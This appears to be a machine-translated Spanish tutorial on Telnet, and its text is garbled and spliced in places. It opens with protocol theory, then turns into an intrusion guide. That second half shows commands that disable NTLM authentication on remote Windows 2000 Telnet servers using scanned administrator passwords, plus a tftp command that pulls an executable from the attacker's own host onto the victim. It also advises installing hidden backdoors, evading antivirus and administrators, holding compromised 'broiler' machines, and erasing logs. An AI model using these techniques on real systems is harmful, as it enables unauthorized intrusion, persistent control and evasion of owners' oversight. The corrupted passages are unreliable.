Red de conocimiento informático - Conocimiento informático - Cómo controlar remotamente su computadora

Cómo controlar remotamente su computadora

1 Resumen

2 Inicio de sesión remoto

3 Protocolo Telnet

4 Servicio Telnet Win2000

5. qué hacer en Telnet

Seis conclusiones

Resumen

La aplicación de Telnet no sólo facilita nuestro inicio de sesión remoto, sino que también proporciona a los piratas informáticos otra forma: métodos de intrusión y puertas traseras. , pero en cualquier caso, mientras disfrutas de la comodidad que te ofrece Telnet, ¿realmente entiendes Telnet?

Segundo inicio de sesión remoto

Aunque el servicio Telnet también pertenece al modelo cliente/servidor, su mayor importancia radica en la realización del inicio de sesión remoto basado en el protocolo Telnet (computación interactiva remota) Luego, conozcamos el inicio de sesión remoto.

1 El concepto básico del inicio de sesión remoto

Primero, echemos un vistazo a qué es el inicio de sesión: un sistema de tiempo compartido permite que varios usuarios utilicen una computadora al mismo tiempo, en Para garantizar la seguridad del sistema y la conveniencia de la contabilidad, el sistema requiere que cada usuario tenga una cuenta separada como ID de inicio de sesión y el sistema también especifica una contraseña para cada usuario. Los usuarios deben ingresar una identificación y contraseña antes de usar el sistema, un proceso llamado "iniciar sesión".

El inicio de sesión remoto se refiere al proceso en el que el usuario utiliza el comando Telnet para convertir temporalmente su computadora en una terminal de emulación del host remoto. El terminal de emulación es equivalente a una máquina no inteligente. Solo es responsable de transmitir cada carácter ingresado por el usuario al host y luego hacer eco de cada información emitida por el host en la pantalla.

2 El surgimiento y desarrollo del inicio de sesión remoto

Primero podemos imaginar un servicio que proporcione edición remota de texto. La implementación de este servicio requiere un servidor que acepte solicitudes de edición de archivos y datos y. a enviando El cliente para esta solicitud. El cliente establecerá una conexión TCP desde la máquina local al servidor, lo que por supuesto requiere una respuesta del servidor, luego enviará información escrita (información de edición de archivos) al servidor y leerá la salida devuelta por el servidor. Lo anterior es un servicio modelo cliente/servidor estándar y ordinario.

Parece que con el modelo de servicios cliente/servidor, todos los problemas remotos se pueden resolver. Sin embargo, la realidad no es tan simple como crees. Si solo necesitamos editar archivos de forma remota, entonces el servicio recién concebido es totalmente capaz, pero si nuestros requisitos no son tan simples, también queremos lograr la administración remota de usuarios y datos. entrada, mantenimiento remoto del sistema, si queremos implementar todas las operaciones que se pueden implementar en el host remoto, entonces necesitaremos una gran cantidad de programas de servidor dedicados y usaremos un proceso de servidor para cada servicio computable. El siguiente problema es: La máquina remota será muy rápida, abrumada por los procesos del servidor y ahogada en un mar de procesos (aquí excluimos las máquinas remotas más especializadas).

Entonces, ¿hay solución? Por supuesto, podemos utilizar el inicio de sesión remoto para solucionar todo esto. Permitimos a los usuarios establecer una sesión de inicio de sesión en una máquina remota y luego ejecutar comandos para implementar servicios más generales como si estuvieran operando localmente. De esta manera, podemos acceder a todos los comandos disponibles en el sistema remoto y el diseñador del sistema no necesita proporcionar múltiples programas de servidor dedicados.

El futuro parece prometedor ahora que el problema se ha desarrollado aquí. El inicio de sesión remoto debería resolverlo, pero el inicio de sesión remoto no es sencillo. Los sistemas informáticos que no tienen en cuenta el diseño de red esperan que los usuarios inicien sesión sólo desde teclados y monitores conectados directamente. Agregar la funcionalidad de inicio de sesión remoto a dichas máquinas requiere modificar el sistema operativo de la máquina, lo cual es extremadamente difícil y algo que tratamos de evitar. Por lo tanto, deberíamos centrarnos en construir un software de servidor de inicio de sesión remoto, aunque esto también es difícil. ¿Por qué es más difícil hacer esto?

Por ejemplo: Generalmente, el sistema operativo asignará significados especiales a algunas teclas especiales. Por ejemplo, el sistema local interpreta 'Ctrl+C' como: 'terminar el proceso de comando actualmente en ejecución'. Pero suponiendo que hayamos ejecutado el software del servidor de inicio de sesión remoto, es posible que 'Ctrl+C' no se transmita a la máquina remota. Si el cliente realmente transmite 'Ctrl+C' a la máquina remota, entonces 'Ctrl+C' puede que el comando no. finalizar el proceso local, lo que significa que es probable que se produzca confusión aquí.

Y este es sólo uno de los problemas encontrados.

Pero a pesar de las dificultades técnicas, los programadores de sistemas lograron construir un software de servidor de inicio de sesión remoto que podía aplicarse a la mayoría de los sistemas operativos, y crearon un software de aplicación que actuaba como cliente. Normalmente, el software del cliente cancela la interpretación local de todas las claves menos una y, en consecuencia, convierte estas interpretaciones locales a la interpretación remota. Esto permite que el software del cliente interactúe con la máquina remota como si estuviera en el host remoto, igual que antes. , evitando así la confusión mencionada anteriormente. La única clave de excepción puede devolver al usuario al entorno local.

Existe otro requisito para diseñar el servidor de inicio de sesión remoto como software a nivel de aplicación, y es que el sistema operativo debe proporcionar soporte para pseudo terminales. Usamos pseudoterminal para describir el punto de entrada del sistema operativo, lo que permite que un programa como un servidor Telnet envíe caracteres al sistema operativo y haga que parezcan provenir del teclado local. Solo con dicho sistema operativo se puede diseñar el servidor de inicio de sesión remoto como software a nivel de aplicación (como el software del servidor Telnet). De lo contrario, el sistema operativo local y la transmisión del sistema remoto no podrán identificar la información transmitida por la otra parte. (porque solo pueden identificar la información transmitida por la otra parte escrita en el teclado local), el inicio de sesión remoto fallará.

Diseñar el servidor de inicio de sesión remoto como software a nivel de aplicación tiene ventajas significativas: es más fácil modificar y controlar el servidor que insertar código en el sistema operativo. Pero también tiene la desventaja de una baja eficiencia (que se explicará en el siguiente contenido). Afortunadamente, la velocidad a la que los usuarios escriben información no es alta, por lo que este diseño sigue siendo aceptable.

3 El proceso de trabajo del inicio de sesión remoto

Cuando se utiliza el protocolo Telnet para el inicio de sesión remoto, se deben cumplir las siguientes condiciones: el programa cliente que contiene el protocolo Telnet debe estar instalado en el computadora local; se debe conocer el inicio de sesión remoto. Se debe conocer la dirección IP o el nombre de dominio del host;

El servicio de inicio de sesión remoto Telnet se divide en los siguientes cuatro procesos:

1) Establecer una conexión entre el host local y el remoto. En realidad, el proceso consiste en establecer una conexión TCP y el usuario debe conocer la dirección IP o el nombre de dominio del host remoto.

2) Convertir el nombre de usuario y la contraseña ingresados ​​en el terminal local y cualquier comando o; caracteres ingresados ​​posteriormente en formato NVT (Net Virtual Terminal) al host remoto. Este proceso en realidad consiste en enviar un datagrama IP desde el host local al host remoto;

3) Convertir la salida de datos en formato NVT del host remoto a un formato aceptado localmente y enviarlo de regreso al terminal local. incluyendo la introducción de comandos Echo y los resultados de la ejecución de comandos

4) Finalmente, el terminal local revoca la conexión al host remoto. El proceso consiste en revocar una conexión TCP.

El contenido anterior solo analiza los aspectos más básicos sobre el inicio de sesión remoto. La complejidad y las dificultades de los programadores están más allá de nuestra imaginación. ¡Me pregunto si ha pensado en esto mientras usa Telnet cómodamente!

Tres protocolos Telnet

Sabemos que el software de servidor Telnet es nuestro software de servidor de inicio de sesión remoto más utilizado. Es un servicio típico de modelo cliente/servidor. Utiliza el protocolo Telnet para funcionar. . Entonces, ¿qué es el protocolo Telnet? ¿Qué características tiene?

1 Contenido básico

El protocolo Telnet es miembro de la familia de protocolos TCP/IP y es el protocolo estándar para los servicios de inicio de sesión remoto de Internet. El uso del protocolo Telnet puede convertir la computadora utilizada por el usuario local en una terminal del sistema host remoto. Proporciona tres servicios básicos:

1) Telnet define un terminal virtual de red para proporcionar una interfaz estándar para sistemas remotos. Los programas cliente no necesitan conocer el sistema remoto en detalle, sólo necesitan construir programas que utilicen interfaces estándar.

2) Telnet incluye un mecanismo que permite al cliente y al servidor negociar opciones, y también; proporciona un conjunto de opciones estándar

3) Telnet maneja ambos extremos de la conexión simétricamente, es decir, Telnet no obliga al cliente a ingresar desde el teclado, ni obliga al cliente a mostrar la salida en la pantalla.

2 Adaptarse a la heterogeneidad

Para hacer posible la interoperabilidad Telnet entre múltiples sistemas operativos, es necesario comprender en detalle los ordenadores y sistemas operativos heterogéneos. Por ejemplo, algunos sistemas operativos requieren que cada línea de texto termine con un retorno de carro ASCII (CR), otros sistemas requieren un avance de línea ASCII (LF) y otros requieren la secuencia de dos caracteres retorno de carro-avance de línea (CR) -LF); para otro ejemplo, la mayoría de los sistemas operativos proporcionan a los usuarios una tecla de acceso directo para interrumpir la ejecución del programa, pero esta tecla de acceso directo puede ser diferente en cada sistema (algunos sistemas usan CTRL+C, mientras que otros sistemas usan ESCAPE) . Si no se considera la heterogeneidad entre sistemas, los caracteres o comandos emitidos localmente pueden ser inexactos o erróneos después de ser transmitidos a una ubicación remota e interpretados por el sistema remoto. Por tanto, el protocolo Telnet debe solucionar este problema.

Para adaptarse a entornos heterogéneos, el protocolo Telnet define el método de transmisión de datos y comandos en Internet. Esta definición se denomina Network Virtual Terminal NVT (Net Virtual Terminal). Su proceso de aplicación es el siguiente:

Para datos enviados: el software del cliente convierte las pulsaciones de teclas y secuencias de comandos del terminal de usuario al formato NVT y las envía al servidor. El software del servidor convierte los datos y comandos recibidos. , Convertir del formato NVT al formato requerido por el sistema remoto

Para los datos devueltos: el servidor remoto convierte los datos del formato de la máquina remota al formato NVT y el cliente local convertirá el NVT recibido. Luego, los datos del formato se convierten al formato local.

Para obtener una definición detallada del formato NVT, los amigos interesados ​​pueden encontrar información relevante.

3 Transmitir comandos remotos

Sabemos que la mayoría de los sistemas operativos proporcionan varias teclas de acceso directo para implementar los comandos de control correspondientes. Cuando los usuarios escriben estas teclas de acceso directo en el terminal local, el sistema local las ejecutará. el comando de control correspondiente sin tomar estas teclas de método abreviado como entrada. Entonces, para Telnet, ¿qué se utiliza para realizar la transmisión remota de comandos de control?

Telnet también utiliza NVT para definir cómo transferir funciones de control del cliente al servidor. Sabemos que el conjunto de caracteres USASCII incluye 95 caracteres imprimibles y 33 códigos de control. Cuando el usuario escribe caracteres ordinarios localmente, NVT los transmitirá de acuerdo con su significado original. Cuando el usuario escribe una tecla de acceso directo (combinación de teclas), NVT los convertirá en un carácter ASCII especial y lo transmitirá en la red, y cuando llegue. la máquina remota y luego se convierte en los comandos de control correspondientes. Hay dos razones principales para distinguir el juego de caracteres ASCII normal de los comandos de control:

1) Esta distinción significa que Telnet tiene una mayor flexibilidad: puede transmitir todos los caracteres ASCII posibles entre el cliente y el servidor y todos los caracteres de control. funciones;

2) Esta distinción permite al cliente especificar la señalización sin ambigüedad sin causar confusión entre las funciones de control y los caracteres ordinarios.

4 Dirección del flujo de datos

Mencionamos anteriormente que diseñar Telnet como software a nivel de aplicación tiene un defecto, es decir, no es eficiente. ¿Por qué es esto? El flujo de datos en Telnet se detalla a continuación:

El usuario escribe la información de datos desde el teclado local y la transmite al programa cliente a través del sistema operativo. El programa cliente la procesa y la devuelve al sistema operativo. , y es pasado por el sistema operativo La red transmite los datos a la máquina remota, y el sistema operativo remoto pasa los datos recibidos al programa del servidor, y el programa del servidor los procesa nuevamente y los devuelve al punto de entrada del pseudo terminal en. el sistema operativo Finalmente, el sistema operativo remoto transmite los datos a la computadora del usuario. Cuando la aplicación se está ejecutando, este es un proceso de entrada completo y la salida se transmitirá desde el servidor al cliente.

Porque para cada entrada y salida, la computadora cambiará de entorno de proceso varias veces, lo cual es muy costoso. Afortunadamente, la tasa de escritura del usuario no es demasiado alta y aún podemos aceptar esta deficiencia.

5 comandos obligatorios

Deberíamos considerar esta situación: supongamos que un usuario local ejecuta un bucle sin fin de comandos o programas incorrectos en una máquina remota y este comando o programa ha dejado de leerse. entrada, entonces el búfer del sistema operativo puede estar lleno. Si es así, el servidor remoto ya no puede escribir datos en el pseudo terminal y, finalmente, dejará de leer datos de la conexión TCP. El búfer de la conexión TCP La zona también eventualmente. llenarse, impidiendo que el tráfico fluya hacia la conexión. Si lo anterior realmente sucede, entonces el usuario local perderá el control de la máquina remota.

Para solucionar este problema, el protocolo Telnet debe utilizar señalización saliente para obligar al servidor a leer un comando de control. Sabemos que TCP utiliza un mecanismo de datos de emergencia para implementar la señalización de datos salientes, por lo que Telnet solo necesita agregar un octeto reservado llamado marca de datos (marca de fecha) y dejar que TCP envíe una notificación de segmento de mensaje con el bit de datos de emergencia configurado. estará bien, y los segmentos de mensajes que contienen datos urgentes evitarán el control de flujo y llegarán directamente al servidor. En respuesta a la señalización de emergencia, el servidor leerá y descartará todos los datos hasta que encuentre un marcador de datos. El servidor volverá al procesamiento normal después de encontrar el marcador de datos.

Negociación de 6 opciones

Debido a la heterogeneidad de máquinas y sistemas operativos en ambos extremos de Telnet, es imposible y no debe especificarse estrictamente que Telnet especifique la configuración detallada de cada uno. Conexión Telnet; de lo contrario, afectará en gran medida la adaptabilidad de Telnet a la heterogeneidad. Por tanto, Telnet utiliza un mecanismo de negociación de opciones para resolver este problema.

La gama de opciones de Telnet es amplia: algunas opciones amplían la funcionalidad general, mientras que otras abordan detalles menores. Por ejemplo: hay una opción para controlar si Telnet funciona en modo half-duplex o full-duplex (dirección general). También hay una opción para permitir que el servidor en la máquina remota determine el tipo de terminal del usuario (pequeños detalles);

El método de negociación de opciones de Telnet también es muy interesante. Maneja cada opción de forma simétrica, es decir, cualquier extremo puede emitir una solicitud de negociación; Además, si un extremo intenta negociar opciones que el otro extremo no comprende, el extremo receptor puede simplemente negarse a negociar. Por lo tanto, es posible interoperar versiones cliente-servidor Telnet más nuevas y complejas con versiones más antiguas y menos complejas. La interacción podría mejorarse si tanto el cliente como el servidor entendieran las nuevas opciones. De lo contrario, todos cambiarán a un modo de funcionamiento menos eficiente pero funcional. Todos estos diseños tienen como objetivo mejorar la adaptabilidad a la heterogeneidad. Se puede ver cuán importante es la adaptabilidad de Telnet a la heterogeneidad para su aplicación y desarrollo.

Algunos principios se han discutido anteriormente. Aunque es difícil para nosotros entrar en contacto con este nivel durante el uso de Telnet, creo que es significativo comprenderlos y nos traerá mucha iluminación. . Echemos un vistazo al servicio Telnet de Win2000.

(Esta serie de tutoriales se actualiza periódicamente. Para obtener la última versión, inicie sesión en el sitio web oficial: Rookie Community e to Microsoft Telnet Service

Telnet Server Build 5.00.99201.1

iniciar sesión:

contraseña:

Cuando \\ es 0, no se utiliza la autenticación NTML y el nombre de usuario y la contraseña se ingresan directamente. Por ejemplo, puede ingresar el Administrador escaneado y 5678

2) Cuando la opción de autenticación = 1

==================== ============= =======

La autenticación NTLM falló debido a credenciales insuficientes. Inicie sesión con nombre de usuario y contraseña en texto claro.

Microsoft (R) Windows (TM) Versión 5.00 (compilación 2195)

Bienvenido al servicio Microsoft Telnet

Telnet Server Build 5.00.99201.1

iniciar sesión:

contraseña:

\\Pruebe primero la autenticación NTLM. Si falla, utilice el nombre de usuario y la contraseña. De hecho, para nosotros, este método no es diferente del método anterior.

3) Cuando la opción de autenticación = 2

================================== ====

La autenticación NTLM falló debido a credenciales insuficientes. Inicie sesión con nombre de usuario y contraseña en texto claro.

El servidor solo permite la autenticación NTLM.

El servidor ha cerrado la conexión.

Se perdió la conexión con el host.

Entonces, para los intrusos, NTLM es una gran montaña frente a nosotros y debemos deshacernos de él. Generalmente, tenemos los siguientes métodos:

1 Modificando el registro remoto. Cambie la configuración del servidor telnet y cambie el método de verificación de 2 a 1 o 0

2 Utilice NTLM.exe y ejecútelo directamente después de cargarlo para cambiar el método de verificación del servidor telnet de 2 a 1; >

3 Cree el usuario escaneado localmente, abra el cliente telnet como este usuario e inicie sesión de forma remota.

4 Utilice software, como opentelnet.exe (requiere derechos de administrador y abrir la tubería IPC)

5 Use scripts, como RTCS (requiere derechos de administrador pero no depende de canalizaciones IPC)

Básicamente los 5 tipos anteriores, los dos últimos son los que usamos más comúnmente método telnet, y el uso es muy simple, el comando es el siguiente:

OpenTelnet.exe \\nombre de usuario del servidor contraseña NTLMAuthor telnetport

OpenTelnet.exe \\dirección del servidor nombre de usuario del administrador contraseña Modo de verificación (rellene 0 o 1) puerto telnet

cscript RTCS.vbe targetIP nombre de usuario contraseña NTLMAuthor telnetport

cscript RTCS.vbe < Método de verificación>

5. Qué hacer en telnet

Quería finalizarlo después de escribirlo arriba, pero muchos amigos dijeron que no saben qué hacer. Qué hacer después de que Telnet esté activo Bueno, en este caso, permítanme presentarles algunas ideas. Esta vez no hablaré sobre los métodos específicos, solo hablaré sobre las ideas. ¿Por qué no hablar de métodos específicos? No hay suficiente espacio, los explicaré uno por uno en el futuro.

1 Verifique la información del sistema

Jaja, en realidad solo busque en todas partes para ver la configuración y la versión del sistema (use el tipo c:\boot.ini para conocer la versión pro o la versión del servidor) , vea qué servicios o software están instalados (puede saberlo por el nombre del directorio), vea si hay archivos importantes o interesantes (por desgracia, si es una máquina extraña, no puede leerlo), vea su El usuario La situación, en resumen, es comprender todo lo posible sobre el sistema y descubrir cómo instalar la puerta trasera más adelante.

2 Use tftp para transferir archivos

Creo que todos se han encontrado con el problema de transferir archivos en telnet. Debido a que estamos acostumbrados a transferir archivos en ipc pipes, a algunos amigos les gusta usar net. comparta ipc$ para abrir la tubería y luego use copiar para transferir archivos. Pero esto es problemático. Ahora que tenemos el shell, podemos usar el comando TFPT para completar todo esto.

El uso de TFTP (Protocolo trivial de transferencia de archivos) para transferir archivos es una transferencia de archivos basada en una conexión UDP. Generalmente, el tftp.exe que viene con Windows y un software de servidor TFTP se utilizan para formar una estructura de transporte completa. .

Se usa así: primero ejecute el software del servidor TFTP local (como tftpd32.exe) y asegúrese de que esté siempre abierto hasta que se complete la transferencia, luego ejecute el siguiente comando en telnet (por supuesto, también puede usarlo en otros shells). ):

C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe

La ip es la ip de su propia máquina y el archivo cargado debe estar en la misma ubicación que el directorio del servidor TFTP, para que pueda cargar xinxin.exe en el directorio abc de la unidad c (en realidad descargado del servidor tftp)

Cabe señalar que si Si utiliza una IP proxy, no podrá lograr esta transferencia de archivos hacia y desde redes externas. Debido a que su puerta de enlace proxy agregará su propia dirección IP a su datagrama al encapsular datos, en lugar de su dirección de red interna, no se puede encontrar su servidor TFTP al realizar el direccionamiento MAC en la red externa.

3 Instalando la puerta trasera

Parece un poco pronto para instalar la puerta trasera en el segundo paso. Si tu intrusión tiene otros propósitos, como destrucción, o modificar la página de inicio, bueno. Por supuesto, estas cosas se pueden hacer antes de instalar la puerta trasera; si solo desea obtener un pollo para asar, no hay nada que decir, simplemente instale la puerta trasera.

Hay muchos tipos de puertas traseras, lo que también nos brinda muchas opciones. Poder elegir la puerta trasera adecuada según la situación específica es realmente una ciencia. Las puertas traseras comúnmente utilizadas generalmente incluyen: troyanos, troyanos ASP, software de control remoto, clonación de cuentas, creación y ocultación de cuentas, telnet, shell extendido de telnet, servicios de terminal, etc. Al instalar una buena puerta trasera, normalmente debes prestar atención a los siguientes puntos:

1 No será comprobada por el firewall ni obstaculizará la comunicación: es mejor empaquetar la puerta trasera que se agrega a la base de datos de virus. para escapar del firewall e intente utilizar un puerto de comunicación bajo para evitar ser bloqueado por el firewall.

2 Maximice la ocultación: si elige el software de control remoto, preste atención a las indicaciones de instalación y los pequeños íconos del terminal controlado, y si desea sincronizar la pantalla si hace un escándalo con su cuenta, intente hacerlo; manténgalo en cmd No hay fallas en la administración y administración de usuarios si elige colocar troyanos o extensiones de telnet, preste atención a la ocultación de archivos y procesos si el servicio de terminal se abre recientemente (no se abrió antes de la invasión); , asegúrese de quitar el llamativo puerto 3389. Y cuanto más bajo, mejor.

3 No asumas que el administrador no existe: Este es un gran tabú. Muchos amigos crean cuentas de administrador similares a 'hackear' en máquinas con sólo cuentas predeterminadas. Realmente son los ignorantes los que no tienen miedo. . Entonces, al instalar una puerta trasera, piense en dónde pudo haberla descuidado el administrador.

4 Parcheo

Si quieres dominar a los pollos de engorde, debes poder parcharlos. Debes saber que la competencia por los pollos de engorde es muy feroz. ¿Cómo parchearlo? ¿Quieres preguntar esto también? Piensa en cómo entraste. Olvídalo, un recordatorio, además de parchear las vulnerabilidades principales (carga el parche oficial y ejecútalo), también debes prestar atención a compartir ***, compartir ipc$*** (es mejor cerrarlos todos), puertos sospechosos y servicios fácilmente explotables, etc. Sin embargo, también debe prestar atención al ocultamiento al aplicar parches y no permitir que los administradores descubran cambios importantes.

5 Borrar el registro

Puedes hacerlo manualmente o usando software. Si no eres muy bueno en eso, no lo presentaré en detalle. aquí.

Seis conclusiones

La primera parte del artículo habla principalmente sobre algunos aspectos teóricos, mientras que la segunda parte se centra en la aplicación. Si escribe demasiado, inevitablemente se perderá algo. Si crees que falta algo, si necesitas agregar algo o si no entiendes algo, ¡responde y dímelo! !

Materiales de referencia: /articles/200307/567.html

Publicaciones que reenvié